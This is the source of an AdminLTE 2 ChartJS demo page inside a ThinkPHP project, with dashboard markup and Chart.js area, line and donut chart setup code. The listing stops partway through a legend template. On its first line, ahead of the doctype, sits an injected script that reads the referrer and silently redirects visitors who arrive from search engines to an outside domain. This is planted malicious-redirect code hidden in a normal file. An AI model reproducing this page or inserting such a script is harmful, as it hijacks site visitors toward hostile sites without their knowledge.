d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\charts\chartjs.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<html>
003:
<head>
004:
<meta charset="utf-8">
005:
<meta http-equiv="X-UA-Compatible" content="IE=edge">
006:
<title>AdminLTE 2 | ChartJS</title>
007:
<!-- Tell the browser to be responsive to screen width -->
008:
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:
<!-- Bootstrap 3.3.7 -->
010:
<link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:
<!-- Font Awesome -->
012:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:
<!-- Ionicons -->
014:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:
<!-- Theme style -->
016:
<link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
017:
<!-- AdminLTE Skins. Choose a skin from the css/skins
018:
folder instead of downloading all of them to reduce the load. -->
019:
<link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
020:
021:
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
022:
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
023:
<!--[if lt IE 9]>
024:
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
025:
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
026:
<![endif]-->
027:
028:
<!-- Google Font -->
029:
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
030:
</head>
031:
<body class="hold-transition skin-blue sidebar-mini">
032:
<div class="wrapper">
033:
034:
<header class="main-header">
035:
<!-- Logo -->
036:
<a href="../../index2.html" class="logo">
037:
<!-- mini logo for sidebar mini 50x50 pixels -->
038:
<span class="logo-mini"><b>A</b>LT</span>
039:
<!-- logo for regular state and mobile devices -->
040:
<span class="logo-lg"><b>Admin</b>LTE</span>
041:
</a>
042:
<!-- Header Navbar: style can be found in header.less -->
043:
<nav class="navbar navbar-static-top">
044:
<!-- Sidebar toggle button-->
045:
<a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">
046:
<span class="sr-only">Toggle navigation</span>
047:
<span class="icon-bar"></span>
048:
<span class="icon-bar"></span>
049:
<span class="icon-bar"></span>
050:
</a>
051:
052:
<div class="navbar-custom-menu">
053:
<ul class="nav navbar-nav">
054:
<!-- Messages: style can be found in dropdown.less-->
055:
<li class="dropdown messages-menu">
056:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
057:
<i class="fa fa-envelope-o"></i>
058:
<span class="label label-success">4</span>
059:
</a>
060:
<ul class="dropdown-menu">
061:
<li class="header">You have 4 messages</li>
062:
<li>
063:
<!-- inner menu: contains the actual data -->
064:
<ul class="menu">
065:
<li>
<!-- start message -->
066:
<a href="#">
067:
<div class="pull-left">
068:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
069:
</div>
070:
<h4>
071:
Support Team
072:
<small><i class="fa fa-clock-o"></i> 5 mins</small>
073:
</h4>
074:
<p>Why not buy a new awesome theme?</p>
075:
</a>
076:
</li>
077:
<!-- end message -->
078:
</ul>
079:
</li>
080:
<li class="footer"><a href="#">See All Messages</a></li>
081:
</ul>
082:
</li>
083:
<!-- Notifications: style can be found in dropdown.less -->
084:
<li class="dropdown notifications-menu">
085:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
086:
<i class="fa fa-bell-o"></i>
087:
<span class="label label-warning">10</span>
088:
</a>
089:
<ul class="dropdown-menu">
090:
<li class="header">You have 10 notifications</li>
091:
<li>
092:
<!-- inner menu: contains the actual data -->
093:
<ul class="menu">
094:
<li>
095:
<a href="#">
096:
<i class="fa fa-users text-aqua"></i> 5 new members joined today
097:
</a>
098:
</li>
099:
</ul>
100:
</li>
101:
<li class="footer"><a href="#">View all</a></li>
102:
</ul>
103:
</li>
104:
<!-- Tasks: style can be found in dropdown.less -->
105:
<li class="dropdown tasks-menu">
106:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
107:
<i class="fa fa-flag-o"></i>
108:
<span class="label label-danger">9</span>
109:
</a>
110:
<ul class="dropdown-menu">
111:
<li class="header">You have 9 tasks</li>
112:
<li>
113:
<!-- inner menu: contains the actual data -->
114:
<ul class="menu">
115:
<li>
<!-- Task item -->
116:
<a href="#">
117:
<h3>
118:
Design some buttons
119:
<small class="pull-right">20%</small>
120:
</h3>
121:
<div class="progress xs">
122:
<div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
123:
<span class="sr-only">20% Complete</span>
124:
</div>
125:
</div>
126:
</a>
127:
</li>
128:
<!-- end task item -->
129:
</ul>
130:
</li>
131:
<li class="footer">
132:
<a href="#">View all tasks</a>
133:
</li>
134:
</ul>
135:
</li>
136:
<!-- User Account: style can be found in dropdown.less -->
137:
<li class="dropdown user user-menu">
138:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
139:
<img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
140:
<span class="hidden-xs">Alexander Pierce</span>
141:
</a>
142:
<ul class="dropdown-menu">
143:
<!-- User image -->
144:
<li class="user-header">
145:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
146:
147:
<p>
148:
Alexander Pierce - Web Developer
149:
<small>Member since Nov. 2012</small>
150:
</p>
151:
</li>
152:
<!-- Menu Body -->
153:
<li class="user-body">
154:
<div class="row">
155:
<div class="col-xs-4 text-center">
156:
<a href="#">Followers</a>
157:
</div>
158:
<div class="col-xs-4 text-center">
159:
<a href="#">Sales</a>
160:
</div>
161:
<div class="col-xs-4 text-center">
162:
<a href="#">Friends</a>
163:
</div>
164:
</div>
165:
<!-- /.row -->
166:
</li>
167:
<!-- Menu Footer-->
168:
<li class="user-footer">
169:
<div class="pull-left">
170:
<a href="#" class="btn btn-default btn-flat">Profile</a>
171:
</div>
172:
<div class="pull-right">
173:
<a href="#" class="btn btn-default btn-flat">Sign out</a>
174:
</div>
175:
</li>
176:
</ul>
177:
</li>
178:
<!-- Control Sidebar Toggle Button -->
179:
<li>
180:
<a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a>
181:
</li>
182:
</ul>
183:
</div>
184:
</nav>
185:
</header>
186:
<!-- Left side column. contains the logo and sidebar -->
187:
<aside class="main-sidebar">
188:
<!-- sidebar: style can be found in sidebar.less -->
189:
<section class="sidebar">
190:
<!-- Sidebar user panel -->
191:
<div class="user-panel">
192:
<div class="pull-left image">
193:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
194:
</div>
195:
<div class="pull-left info">
196:
<p>Alexander Pierce</p>
197:
<a href="#"><i class="fa fa-circle text-success"></i> Online</a>
198:
</div>
199:
</div>
200:
<!-- search form -->
201:
<form action="#" method="get" class="sidebar-form">
202:
<div class="input-group">
203:
<input type="text" name="q" class="form-control" placeholder="Search...">
204:
<span class="input-group-btn">
205:
<button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i>
206:
</button>
207:
</span>
208:
</div>
209:
</form>
210:
<!-- /.search form -->
211:
<!-- sidebar menu: : style can be found in sidebar.less -->
212:
<ul class="sidebar-menu" data-widget="tree">
213:
<li class="header">MAIN NAVIGATION</li>
214:
<li class="treeview">
215:
<a href="#">
216:
<i class="fa fa-dashboard"></i> <span>Dashboard</span>
217:
<span class="pull-right-container">
218:
<i class="fa fa-angle-left pull-right"></i>
219:
</span>
220:
</a>
221:
<ul class="treeview-menu">
222:
<li><a href="../../index.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li>
223:
<li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li>
224:
</ul>
225:
</li>
226:
<li class="treeview">
227:
<a href="#">
228:
<i class="fa fa-files-o"></i>
229:
<span>Layout Options</span>
230:
<span class="pull-right-container">
231:
<span class="label label-primary pull-right">4</span>
232:
</span>
233:
</a>
234:
<ul class="treeview-menu">
235:
<li><a href="../layout/top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li>
236:
<li><a href="../layout/boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li>
237:
<li><a href="../layout/fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li>
238:
<li><a href="../layout/collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li>
239:
</ul>
240:
</li>
241:
<li>
242:
<a href="../widgets.html">
243:
<i class="fa fa-th"></i> <span>Widgets</span>
244:
<span class="pull-right-container">
245:
<small class="label pull-right bg-green">new</small>
246:
</span>
247:
</a>
248:
</li>
249:
<li class="treeview active">
250:
<a href="#">
251:
<i class="fa fa-pie-chart"></i>
252:
<span>Charts</span>
253:
<span class="pull-right-container">
254:
<i class="fa fa-angle-left pull-right"></i>
255:
</span>
256:
</a>
257:
<ul class="treeview-menu">
258:
<li class="active"><a href="chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li>
259:
<li><a href="morris.html"><i class="fa fa-circle-o"></i> Morris</a></li>
260:
<li><a href="flot.html"><i class="fa fa-circle-o"></i> Flot</a></li>
261:
<li><a href="inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li>
262:
</ul>
263:
</li>
264:
<li class="treeview">
265:
<a href="#">
266:
<i class="fa fa-laptop"></i>
267:
<span>UI Elements</span>
268:
<span class="pull-right-container">
269:
<i class="fa fa-angle-left pull-right"></i>
270:
</span>
271:
</a>
272:
<ul class="treeview-menu">
273:
<li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li>
274:
<li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li>
275:
<li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li>
276:
<li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li>
277:
<li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li>
278:
<li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li>
279:
</ul>
280:
</li>
281:
<li class="treeview">
282:
<a href="#">
283:
<i class="fa fa-edit"></i> <span>Forms</span>
284:
<span class="pull-right-container">
285:
<i class="fa fa-angle-left pull-right"></i>
286:
</span>
287:
</a>
288:
<ul class="treeview-menu">
289:
<li><a href="../forms/general.html"><i class="fa fa-circle-o"></i> General Elements</a></li>
290:
<li><a href="../forms/advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li>
291:
<li><a href="../forms/editors.html"><i class="fa fa-circle-o"></i> Editors</a></li>
292:
</ul>
293:
</li>
294:
<li class="treeview">
295:
<a href="#">
296:
<i class="fa fa-table"></i> <span>Tables</span>
297:
<span class="pull-right-container">
298:
<i class="fa fa-angle-left pull-right"></i>
299:
</span>
300:
</a>
301:
<ul class="treeview-menu">
302:
<li><a href="../tables/simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li>
303:
<li><a href="../tables/data.html"><i class="fa fa-circle-o"></i> Data tables</a></li>
304:
</ul>
305:
</li>
306:
<li>
307:
<a href="../calendar.html">
308:
<i class="fa fa-calendar"></i> <span>Calendar</span>
309:
<span class="pull-right-container">
310:
<small class="label pull-right bg-red">3</small>
311:
<small class="label pull-right bg-blue">17</small>
312:
</span>
313:
</a>
314:
</li>
315:
<li>
316:
<a href="../mailbox/mailbox.html">
317:
<i class="fa fa-envelope"></i> <span>Mailbox</span>
318:
<span class="pull-right-container">
319:
<small class="label pull-right bg-yellow">12</small>
320:
<small class="label pull-right bg-green">16</small>
321:
<small class="label pull-right bg-red">5</small>
322:
</span>
323:
</a>
324:
</li>
325:
<li class="treeview">
326:
<a href="#">
327:
<i class="fa fa-folder"></i> <span>Examples</span>
328:
<span class="pull-right-container">
329:
<i class="fa fa-angle-left pull-right"></i>
330:
</span>
331:
</a>
332:
<ul class="treeview-menu">
333:
<li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li>
334:
<li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li>
335:
<li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li>
336:
<li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li>
337:
<li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li>
338:
<li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li>
339:
<li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li>
340:
<li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li>
341:
<li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li>
342:
</ul>
343:
</li>
344:
<li class="treeview">
345:
<a href="#">
346:
<i class="fa fa-share"></i> <span>Multilevel</span>
347:
<span class="pull-right-container">
348:
<i class="fa fa-angle-left pull-right"></i>
349:
</span>
350:
</a>
351:
<ul class="treeview-menu">
352:
<li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
353:
<li class="treeview">
354:
<a href="#"><i class="fa fa-circle-o"></i> Level One
355:
<span class="pull-right-container">
356:
<i class="fa fa-angle-left pull-right"></i>
357:
</span>
358:
</a>
359:
<ul class="treeview-menu">
360:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li>
361:
<li class="treeview">
362:
<a href="#"><i class="fa fa-circle-o"></i> Level Two
363:
<span class="pull-right-container">
364:
<i class="fa fa-angle-left pull-right"></i>
365:
</span>
366:
</a>
367:
<ul class="treeview-menu">
368:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
369:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
370:
</ul>
371:
</li>
372:
</ul>
373:
</li>
374:
<li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
375:
</ul>
376:
</li>
377:
<li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li>
378:
<li class="header">LABELS</li>
379:
<li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li>
380:
<li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li>
381:
<li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li>
382:
</ul>
383:
</section>
384:
<!-- /.sidebar -->
385:
</aside>
386:
387:
<!-- Content Wrapper. Contains page content -->
388:
<div class="content-wrapper">
389:
<!-- Content Header (Page header) -->
390:
<section class="content-header">
391:
<h1>
392:
ChartJS
393:
<small>Preview sample</small>
394:
</h1>
395:
<ol class="breadcrumb">
396:
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
397:
<li><a href="#">Charts</a></li>
398:
<li class="active">ChartJS</li>
399:
</ol>
400:
</section>
401:
402:
<!-- Main content -->
403:
<section class="content">
404:
<div class="row">
405:
<div class="col-md-6">
406:
<!-- AREA CHART -->
407:
<div class="box box-primary">
408:
<div class="box-header with-border">
409:
<h3 class="box-title">Area Chart</h3>
410:
411:
<div class="box-tools pull-right">
412:
<button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
413:
</button>
414:
<button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
415:
</div>
416:
</div>
417:
<div class="box-body">
418:
<div class="chart">
419:
<canvas id="areaChart" style="height:250px"></canvas>
420:
</div>
421:
</div>
422:
<!-- /.box-body -->
423:
</div>
424:
<!-- /.box -->
425:
426:
<!-- DONUT CHART -->
427:
<div class="box box-danger">
428:
<div class="box-header with-border">
429:
<h3 class="box-title">Donut Chart</h3>
430:
431:
<div class="box-tools pull-right">
432:
<button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
433:
</button>
434:
<button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
435:
</div>
436:
</div>
437:
<div class="box-body">
438:
<canvas id="pieChart" style="height:250px"></canvas>
439:
</div>
440:
<!-- /.box-body -->
441:
</div>
442:
<!-- /.box -->
443:
444:
</div>
445:
<!-- /.col (LEFT) -->
446:
<div class="col-md-6">
447:
<!-- LINE CHART -->
448:
<div class="box box-info">
449:
<div class="box-header with-border">
450:
<h3 class="box-title">Line Chart</h3>
451:
452:
<div class="box-tools pull-right">
453:
<button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
454:
</button>
455:
<button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
456:
</div>
457:
</div>
458:
<div class="box-body">
459:
<div class="chart">
460:
<canvas id="lineChart" style="height:250px"></canvas>
461:
</div>
462:
</div>
463:
<!-- /.box-body -->
464:
</div>
465:
<!-- /.box -->
466:
467:
<!-- BAR CHART -->
468:
<div class="box box-success">
469:
<div class="box-header with-border">
470:
<h3 class="box-title">Bar Chart</h3>
471:
472:
<div class="box-tools pull-right">
473:
<button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
474:
</button>
475:
<button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
476:
</div>
477:
</div>
478:
<div class="box-body">
479:
<div class="chart">
480:
<canvas id="barChart" style="height:230px"></canvas>
481:
</div>
482:
</div>
483:
<!-- /.box-body -->
484:
</div>
485:
<!-- /.box -->
486:
487:
</div>
488:
<!-- /.col (RIGHT) -->
489:
</div>
490:
<!-- /.row -->
491:
492:
</section>
493:
<!-- /.content -->
494:
</div>
495:
<!-- /.content-wrapper -->
496:
<footer class="main-footer">
497:
<div class="pull-right hidden-xs">
498:
<b>Version</b> 2.4.0
499:
</div>
500:
<strong>Copyright © 2014-2016 <a href="https://adminlte.io">Almsaeed Studio</a>.</strong> All rights
501:
reserved.
502:
</footer>
503:
504:
<!-- Control Sidebar -->
505:
<aside class="control-sidebar control-sidebar-dark">
506:
<!-- Create the tabs -->
507:
<ul class="nav nav-tabs nav-justified control-sidebar-tabs">
508:
<li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>
509:
<li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li>
510:
</ul>
511:
<!-- Tab panes -->
512:
<div class="tab-content">
513:
<!-- Home tab content -->
514:
<div class="tab-pane" id="control-sidebar-home-tab">
515:
<h3 class="control-sidebar-heading">Recent Activity</h3>
516:
<ul class="control-sidebar-menu">
517:
<li>
518:
<a href="javascript:void(0)">
519:
<i class="menu-icon fa fa-birthday-cake bg-red"></i>
520:
521:
<div class="menu-info">
522:
<h4 class="control-sidebar-subheading">Langdon's Birthday</h4>
523:
524:
<p>Will be 23 on April 24th</p>
525:
</div>
526:
</a>
527:
</li>
528:
<li>
529:
<a href="javascript:void(0)">
530:
<i class="menu-icon fa fa-user bg-yellow"></i>
531:
532:
<div class="menu-info">
533:
<h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4>
534:
535:
<p>New phone +1(800)555-1234</p>
536:
</div>
537:
</a>
538:
</li>
539:
<li>
540:
<a href="javascript:void(0)">
541:
<i class="menu-icon fa fa-envelope-o bg-light-blue"></i>
542:
543:
<div class="menu-info">
544:
<h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4>
545:
546:
<p>nora@example.com</p>
547:
</div>
548:
</a>
549:
</li>
550:
<li>
551:
<a href="javascript:void(0)">
552:
<i class="menu-icon fa fa-file-code-o bg-green"></i>
553:
554:
<div class="menu-info">
555:
<h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4>
556:
557:
<p>Execution time 5 seconds</p>
558:
</div>
559:
</a>
560:
</li>
561:
</ul>
562:
<!-- /.control-sidebar-menu -->
563:
564:
<h3 class="control-sidebar-heading">Tasks Progress</h3>
565:
<ul class="control-sidebar-menu">
566:
<li>
567:
<a href="javascript:void(0)">
568:
<h4 class="control-sidebar-subheading">
569:
Custom Template Design
570:
<span class="label label-danger pull-right">70%</span>
571:
</h4>
572:
573:
<div class="progress progress-xxs">
574:
<div class="progress-bar progress-bar-danger" style="width: 70%"></div>
575:
</div>
576:
</a>
577:
</li>
578:
<li>
579:
<a href="javascript:void(0)">
580:
<h4 class="control-sidebar-subheading">
581:
Update Resume
582:
<span class="label label-success pull-right">95%</span>
583:
</h4>
584:
585:
<div class="progress progress-xxs">
586:
<div class="progress-bar progress-bar-success" style="width: 95%"></div>
587:
</div>
588:
</a>
589:
</li>
590:
<li>
591:
<a href="javascript:void(0)">
592:
<h4 class="control-sidebar-subheading">
593:
Laravel Integration
594:
<span class="label label-warning pull-right">50%</span>
595:
</h4>
596:
597:
<div class="progress progress-xxs">
598:
<div class="progress-bar progress-bar-warning" style="width: 50%"></div>
599:
</div>
600:
</a>
601:
</li>
602:
<li>
603:
<a href="javascript:void(0)">
604:
<h4 class="control-sidebar-subheading">
605:
Back End Framework
606:
<span class="label label-primary pull-right">68%</span>
607:
</h4>
608:
609:
<div class="progress progress-xxs">
610:
<div class="progress-bar progress-bar-primary" style="width: 68%"></div>
611:
</div>
612:
</a>
613:
</li>
614:
</ul>
615:
<!-- /.control-sidebar-menu -->
616:
617:
</div>
618:
<!-- /.tab-pane -->
619:
<!-- Stats tab content -->
620:
<div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>
621:
<!-- /.tab-pane -->
622:
<!-- Settings tab content -->
623:
<div class="tab-pane" id="control-sidebar-settings-tab">
624:
<form method="post">
625:
<h3 class="control-sidebar-heading">General Settings</h3>
626:
627:
<div class="form-group">
628:
<label class="control-sidebar-subheading">
629:
Report panel usage
630:
<input type="checkbox" class="pull-right" checked>
631:
</label>
632:
633:
<p>
634:
Some information about this general settings option
635:
</p>
636:
</div>
637:
<!-- /.form-group -->
638:
639:
<div class="form-group">
640:
<label class="control-sidebar-subheading">
641:
Allow mail redirect
642:
<input type="checkbox" class="pull-right" checked>
643:
</label>
644:
645:
<p>
646:
Other sets of options are available
647:
</p>
648:
</div>
649:
<!-- /.form-group -->
650:
651:
<div class="form-group">
652:
<label class="control-sidebar-subheading">
653:
Expose author name in posts
654:
<input type="checkbox" class="pull-right" checked>
655:
</label>
656:
657:
<p>
658:
Allow the user to show his name in blog posts
659:
</p>
660:
</div>
661:
<!-- /.form-group -->
662:
663:
<h3 class="control-sidebar-heading">Chat Settings</h3>
664:
665:
<div class="form-group">
666:
<label class="control-sidebar-subheading">
667:
Show me as online
668:
<input type="checkbox" class="pull-right" checked>
669:
</label>
670:
</div>
671:
<!-- /.form-group -->
672:
673:
<div class="form-group">
674:
<label class="control-sidebar-subheading">
675:
Turn off notifications
676:
<input type="checkbox" class="pull-right">
677:
</label>
678:
</div>
679:
<!-- /.form-group -->
680:
681:
<div class="form-group">
682:
<label class="control-sidebar-subheading">
683:
Delete chat history
684:
<a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a>
685:
</label>
686:
</div>
687:
<!-- /.form-group -->
688:
</form>
689:
</div>
690:
<!-- /.tab-pane -->
691:
</div>
692:
</aside>
693:
<!-- /.control-sidebar -->
694:
<!-- Add the sidebar's background. This div must be placed
695:
immediately after the control sidebar -->
696:
<div class="control-sidebar-bg"></div>
697:
</div>
698:
<!-- ./wrapper -->
699:
700:
<!-- jQuery 3.1.1 -->
701:
<script src="../../plugins/jQuery/jquery-3.1.1.min.js"></script>
702:
<!-- Bootstrap 3.3.7 -->
703:
<script src="../../bootstrap/js/bootstrap.min.js"></script>
704:
<!-- ChartJS 1.0.1 -->
705:
<script src="../../plugins/chartjs/Chart.min.js"></script>
706:
<!-- FastClick -->
707:
<script src="../../plugins/fastclick/fastclick.js"></script>
708:
<!-- AdminLTE App -->
709:
<script src="../../dist/js/adminlte.min.js"></script>
710:
<!-- AdminLTE for demo purposes -->
711:
<script src="../../dist/js/demo.js"></script>
712:
<!-- page script -->
713:
<script>
714:
$(function () {
715:
/* ChartJS
716:
* -------
717:
* Here we will create a few charts using ChartJS
718:
*/
719:
720:
//--------------
721:
//- AREA CHART -
722:
//--------------
723:
724:
// Get context with jQuery - using jQuery's .get() method.
725:
var areaChartCanvas = $("#areaChart").get(0).getContext("2d");
726:
// This will get the first returned node in the jQuery collection.
727:
var areaChart = new Chart(areaChartCanvas);
728:
729:
var areaChartData = {
730:
labels: ["January", "February", "March", "April", "May", "June", "July"],
731:
datasets: [
732:
{
733:
label: "Electronics",
734:
fillColor: "rgba(210, 214, 222, 1)",
735:
strokeColor: "rgba(210, 214, 222, 1)",
736:
pointColor: "rgba(210, 214, 222, 1)",
737:
pointStrokeColor: "#c1c7d1",
738:
pointHighlightFill: "#fff",
739:
pointHighlightStroke: "rgba(220,220,220,1)",
740:
data: [65, 59, 80, 81, 56, 55, 40]
741:
},
742:
{
743:
label: "Digital Goods",
744:
fillColor: "rgba(60,141,188,0.9)",
745:
strokeColor: "rgba(60,141,188,0.8)",
746:
pointColor: "#3b8bba",
747:
pointStrokeColor: "rgba(60,141,188,1)",
748:
pointHighlightFill: "#fff",
749:
pointHighlightStroke: "rgba(60,141,188,1)",
750:
data: [28, 48, 40, 19, 86, 27, 90]
751:
}
752:
]
753:
};
754:
755:
var areaChartOptions = {
756:
//Boolean - If we should show the scale at all
757:
showScale: true,
758:
//Boolean - Whether grid lines are shown across the chart
759:
scaleShowGridLines: false,
760:
//String - Colour of the grid lines
761:
scaleGridLineColor: "rgba(0,0,0,.05)",
762:
//Number - Width of the grid lines
763:
scaleGridLineWidth: 1,
764:
//Boolean - Whether to show horizontal lines (except X axis)
765:
scaleShowHorizontalLines: true,
766:
//Boolean - Whether to show vertical lines (except Y axis)
767:
scaleShowVerticalLines: true,
768:
//Boolean - Whether the line is curved between points
769:
bezierCurve: true,
770:
//Number - Tension of the bezier curve between points
771:
bezierCurveTension: 0.3,
772:
//Boolean - Whether to show a dot for each point
773:
pointDot: false,
774:
//Number - Radius of each point dot in pixels
775:
pointDotRadius: 4,
776:
//Number - Pixel width of point dot stroke
777:
pointDotStrokeWidth: 1,
778:
//Number - amount extra to add to the radius to cater for hit detection outside the drawn point
779:
pointHitDetectionRadius: 20,
780:
//Boolean - Whether to show a stroke for datasets
781:
datasetStroke: true,
782:
//Number - Pixel width of dataset stroke
783:
datasetStrokeWidth: 2,
784:
//Boolean - Whether to fill the dataset with a color
785:
datasetFill: true,
786:
//String - A legend template
787:
legendTemplate: "<ul class=\"
<%
=name.toLowerCase()
%
>-legend\">
<%
for (var i=0; i<datasets.length; i++){
%
><li><span style=\"background-color:
<%
=datasets[i].lineColor
%
>\"></span>
<%
if(datasets[i].label){
%
>
<%
=datasets[i].label
%
>
<%
}
%
></li>
<%
}
%
></ul>",
788:
//Boolean - whether to maintain the starting aspect ratio or not when responsive, if set to false, will take up entire container
789:
maintainAspectRatio: true,
790:
//Boolean - whether to make the chart responsive to window resizing
791:
responsive: true
792:
};
793:
794:
//Create the line chart
795:
areaChart.Line(areaChartData, areaChartOptions);
796:
797:
//-------------
798:
//- LINE CHART -
799:
//--------------
800:
var lineChartCanvas = $("#lineChart").get(0).getContext("2d");
801:
var lineChart = new Chart(lineChartCanvas);
802:
var lineChartOptions = areaChartOptions;
803:
lineChartOptions.datasetFill = false;
804:
lineChart.Line(areaChartData, lineChartOptions);
805:
806:
//-------------
807:
//- PIE CHART -
808:
//-------------
809:
// Get context with jQuery - using jQuery's .get() method.
810:
var pieChartCanvas = $("#pieChart").get(0).getContext("2d");
811:
var pieChart = new Chart(pieChartCanvas);
812:
var PieData = [
813:
{
814:
value: 700,
815:
color: "#f56954",
816:
highlight: "#f56954",
817:
label: "Chrome"
818:
},
819:
{
820:
value: 500,
821:
color: "#00a65a",
822:
highlight: "#00a65a",
823:
label: "IE"
824:
},
825:
{
826:
value: 400,
827:
color: "#f39c12",
828:
highlight: "#f39c12",
829:
label: "FireFox"
830:
},
831:
{
832:
value: 600,
833:
color: "#00c0ef",
834:
highlight: "#00c0ef",
835:
label: "Safari"
836:
},
837:
{
838:
value: 300,
839:
color: "#3c8dbc",
840:
highlight: "#3c8dbc",
841:
label: "Opera"
842:
},
843:
{
844:
value: 100,
845:
color: "#d2d6de",
846:
highlight: "#d2d6de",
847:
label: "Navigator"
848:
}
849:
];
850:
var pieOptions = {
851:
//Boolean - Whether we should show a stroke on each segment
852:
segmentShowStroke: true,
853:
//String - The colour of each segment stroke
854:
segmentStrokeColor: "#fff",
855:
//Number - The width of each segment stroke
856:
segmentStrokeWidth: 2,
857:
//Number - The percentage of the chart that we cut out of the middle
858:
percentageInnerCutout: 50, // This is 0 for Pie charts
859:
//Number - Amount of animation steps
860:
animationSteps: 100,
861:
//String - Animation easing effect
862:
animationEasing: "easeOutBounce",
863:
//Boolean - Whether we animate the rotation of the Doughnut
864:
animateRotate: true,
865:
//Boolean - Whether we animate scaling the Doughnut from the centre
866:
animateScale: false,
867:
//Boolean - whether to make the chart responsive to window resizing
868:
responsive: true,
869:
// Boolean - whether to maintain the starting aspect ratio or not when responsive, if set to false, will take up entire container
870:
maintainAspectRatio: true,
871:
//String - A legend template
872:
legendTemplate: "<ul class=\"
<%
=name.toLowerCase()
%
>-legend\">
<%
for (var i=0; i<segments.length; i++){
%
><li><span style=\"background-color:
<%
=segments[i].fillColor
%
>\"></span>
<%
if(segments[i].label){
%
>
<%
